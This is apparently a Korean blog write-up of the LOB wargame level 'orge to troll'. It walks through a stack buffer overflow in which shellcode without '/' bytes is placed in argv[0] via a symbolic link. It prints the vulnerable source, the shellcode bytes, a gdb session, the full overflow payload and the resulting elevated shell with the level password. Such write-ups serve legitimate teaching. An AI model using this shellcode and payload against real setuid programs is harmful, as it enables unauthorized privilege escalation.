Sh4n3e

[시스템해킹][LOB] Level8 : Orge -> Troll 본문

Wargame/LOB

[시스템해킹][LOB] Level8 : Orge -> Troll

sh4n3e 2017. 6. 23. 15:22

우선 문제를 설명하기 앞서 문제의 코드부터 살펴보자.


[orge@localhost orge]$ cat troll.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));


이번 문제는 이전 문제의 Payload를 사용할 수 없다. argv[1]를 초기화하며, argv의 갯수를 2개로 제한하고 있기 떄문에다. 따라서 이번 문제를 풀기 위해서는 또다른 아이디어가 필요했다.

아이디어는 argv[0]에 shellcode를 넣어주고 동작시키는 것이다. 그렇다면 argv[0]에 어떻게 쉘코드를 넣어줄까?

이것은 Level7 마지막 부분에서 소개한 Symbolic Link를 사용함으로써 가능하게 만들 수 있다.

그러면 한번 만들어보도록 하자.


[orge@localhost orge]$ 

<\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'") 

ls: ��������������������������������1�Ph//shh/bin��PS��1Ұ

                                                         : No such file or directory

  16 troll


하지만 여기서 우리는 shellcode를 파일명으로 만들 수 없었다. "\x2f"가 파일명으로 쓰일 수 없기 때문에 오류가 나버린 것이다. 여기서 "\2F"는 ASCII문자로 "/"이기 떄문에 해당 해당 부분을 디렉토리단위 문자로 인식하여 문제가 생겨버린 것이다. 따라서 여기서는 해결 방법은 두가지가 존재한다. "/" 형태로 경로를 만들어줘서 Shellcode를 완성시키던가, 혹은 "\x2F"가 존재하지 않는 Shellcode를 사용하던가.

여기서 나는 "\x2F"가 없는 Shellcode를 이용하여 공격을 시도하였다.


 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


그렇다면 다시한번 Symbolic Link를 생성해보자


ln -s troll $(python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"')


다음과 같이 ln -s의 명령어를 통해 Shellcode가 담긴 Symblic Link를 생성할 수 있었다. 이제부터 본격적 우리가 뛰어야하는 위치를 파악해보자. 즉 argv[0]의 위치가 어디인지 찾아야 하는 것이다.


[orge@localhost orge]$ gdb -q ./$(python -c 'print "\x90"*8+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\>

(gdb) set disassembly-flavor intel

(gdb) disass main

Dump of assembler code for function main:

0x8048500 <main>: push   %ebp

0x8048501 <main+1>: mov    %ebp,%esp

0x8048503 <main+3>: sub    %esp,44

0x8048506 <main+6>: cmp    DWORD PTR [%ebp+8],2

0x804850a <main+10>: je     0x8048523 <main+35>

0x804850c <main+12>: push   0x8048690

0x8048511 <main+17>: call   0x8048410 <printf>

0x8048516 <main+22>: add    %esp,4

0x8048519 <main+25>: push   0

0x804851b <main+27>: call   0x8048420 <exit>

0x8048520 <main+32>: add    %esp,4

0x8048523 <main+35>: nop    

0x8048524 <main+36>: mov    DWORD PTR [%ebp-44],0x0

0x804852b <main+43>: nop    

0x804852c <main+44>: lea    %esi,[%esi*1]

0x8048530 <main+48>: mov    %eax,DWORD PTR [%ebp-44]

0x8048533 <main+51>: lea    %edx,[%eax*4]

0x804853a <main+58>: mov    %eax,%ds:0x80497cc

0x804853f <main+63>: cmp    DWORD PTR [%eax+%edx],0

0x8048543 <main+67>: jne    0x8048547 <main+71>

0x8048545 <main+69>: jmp    0x8048587 <main+135>

0x8048547 <main+71>: mov    %eax,DWORD PTR [%ebp-44]

0x804854a <main+74>: lea    %edx,[%eax*4]

0x8048551 <main+81>: mov    %eax,%ds:0x80497cc

0x8048556 <main+86>: mov    %edx,DWORD PTR [%eax+%edx]

0x8048559 <main+89>: push   %edx

0x804855a <main+90>: call   0x80483f0 <strlen>

0x804855f <main+95>: add    %esp,4

0x8048562 <main+98>: mov    %eax,%eax

0x8048564 <main+100>: push   %eax

0x8048565 <main+101>: push   0

0x8048567 <main+103>: mov    %eax,DWORD PTR [%ebp-44]

0x804856a <main+106>: lea    %edx,[%eax*4]

0x8048571 <main+113>: mov    %eax,%ds:0x80497cc

0x8048576 <main+118>: mov    %edx,DWORD PTR [%eax+%edx]

0x8048579 <main+121>: push   %edx

0x804857a <main+122>: call   0x8048430 <memset>

0x804857f <main+127>: add    %esp,12

0x8048582 <main+130>: inc    DWORD PTR [%ebp-44]

0x8048585 <main+133>: jmp    0x8048530 <main+48>

0x8048587 <main+135>: mov    %eax,DWORD PTR [%ebp+12]

0x804858a <main+138>: add    %eax,4

0x804858d <main+141>: mov    %edx,DWORD PTR [%eax]

0x804858f <main+143>: add    %edx,47

0x8048592 <main+146>: cmp    BYTE PTR [%edx],0xbf

0x8048595 <main+149>: je     0x80485b0 <main+176>

0x8048597 <main+151>: push   0x80486a3

0x804859c <main+156>: call   0x8048410 <printf>

0x80485a1 <main+161>: add    %esp,4

0x80485a4 <main+164>: push   0

0x80485a6 <main+166>: call   0x8048420 <exit>

0x80485ab <main+171>: add    %esp,4

0x80485ae <main+174>: mov    %esi,%esi

0x80485b0 <main+176>: mov    %eax,DWORD PTR [%ebp+12]

0x80485b3 <main+179>: add    %eax,4

0x80485b6 <main+182>: mov    %edx,DWORD PTR [%eax]

0x80485b8 <main+184>: push   %edx

0x80485b9 <main+185>: call   0x80483f0 <strlen>

0x80485be <main+190>: add    %esp,4

0x80485c1 <main+193>: mov    %eax,%eax

0x80485c3 <main+195>: cmp    %eax,48

0x80485c6 <main+198>: jbe    0x80485e0 <main+224>

0x80485c8 <main+200>: push   0x80486c0

0x80485cd <main+205>: call   0x8048410 <printf>

0x80485d2 <main+210>: add    %esp,4

0x80485d5 <main+213>: push   0

0x80485d7 <main+215>: call   0x8048420 <exit>

0x80485dc <main+220>: add    %esp,4

0x80485df <main+223>: nop    

0x80485e0 <main+224>: mov    %eax,DWORD PTR [%ebp+12]

0x80485e3 <main+227>: add    %eax,4

0x80485e6 <main+230>: mov    %edx,DWORD PTR [%eax]

0x80485e8 <main+232>: push   %edx

0x80485e9 <main+233>: lea    %eax,[%ebp-40]

0x80485ec <main+236>: push   %eax

0x80485ed <main+237>: call   0x8048440 <strcpy>

0x80485f2 <main+242>: add    %esp,8

0x80485f5 <main+245>: lea    %eax,[%ebp-40]

0x80485f8 <main+248>: push   %eax

0x80485f9 <main+249>: push   0x80486d7

0x80485fe <main+254>: call   0x8048410 <printf>

0x8048603 <main+259>: add    %esp,8

0x8048606 <main+262>: push   40

0x8048608 <main+264>: push   0

0x804860a <main+266>: lea    %eax,[%ebp-40]

0x804860d <main+269>: push   %eax

0x804860e <main+270>: call   0x8048430 <memset>

0x8048613 <main+275>: add    %esp,12

0x8048616 <main+278>: mov    %eax,DWORD PTR [%ebp+12]

0x8048619 <main+281>: add    %eax,4

0x804861c <main+284>: mov    %edx,DWORD PTR [%eax]

0x804861e <main+286>: push   %edx

0x804861f <main+287>: call   0x80483f0 <strlen>

0x8048624 <main+292>: add    %esp,4

0x8048627 <main+295>: mov    %eax,%eax

0x8048629 <main+297>: push   %eax

0x804862a <main+298>: push   0

0x804862c <main+300>: mov    %eax,DWORD PTR [%ebp+12]

0x804862f <main+303>: add    %eax,4

0x8048632 <main+306>: mov    %edx,DWORD PTR [%eax]

0x8048634 <main+308>: push   %edx

0x8048635 <main+309>: call   0x8048430 <memset>

0x804863a <main+314>: add    %esp,12

0x804863d <main+317>: leave  

0x804863e <main+318>: ret    

0x804863f <main+319>: nop    

End of assembler dump.

(gdb) b *main+318

Breakpoint 1 at 0x804863e

....
(gdb) r $(python -c 'print "A"*44+"\x03\xff\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/orge/���������^1ɱ2�l���u�������2�Qi00tii0cjo��QT�⚱
                                                                             ΁������������������������������������������������������������������������������������������������������������������������������������������������������ $(python -c 'print "A"*44+"\x03\xff\xff\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���

Breakpoint 1, 0x804863e in main ()
(gdb) si
0xbfffff03 in ?? ()

(gdb) x/20x $eip   

0xbfffff03: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff13: 0x00000000 0x00000000 0x00000000 0x2f000000

0xbfffff23: 0x656d6f68 0x67726f2f 0x90902f65 0x90909090

0xbfffff33: 0x11eb9090 0xb1c9315e 0x0e6c8032 0xe98001ff

0xbfffff43: 0xebf67501 0xffeae805 0xc132ffff 0x30306951 


*main+318지점에 BP를 걸고 $(python -c 'print "A"*44+"\x03\xff\xff\xbf"')와 같이 대략적인 값을 넣어 위치를 찾기위해 아무주소나 넣어준다. 그리고 si를 통해 ret instruction을 실행시키고, 현재 eip주변을 뒤져 argv[0]의 위치를 찾아낸다.

이렇게 찾아낸 것을 가지고 Payload를 짜보자.


./$(python -c 'print "\x90"*8+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81+"K"*150') $(python -c 'print "A"*44+"\x30\xff\xff\xbf"') 


해당 페이로드를 실행시켜주면 아래와 같은 결과를 뽑아내준다.


[orge@localhost orge]$ ln -s troll $(python -c 'print "\x90"*8+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x>

<e2\x9a\xb1\x0c\xce\x81"+"K"*150') $(python -c 'print "A"*44+"\x30\xff\xff\xbf"')                      

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0���

bash$ id

uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)

bash$ /bin/my-pass 

euid = 508

aspirin

bash$  


Comments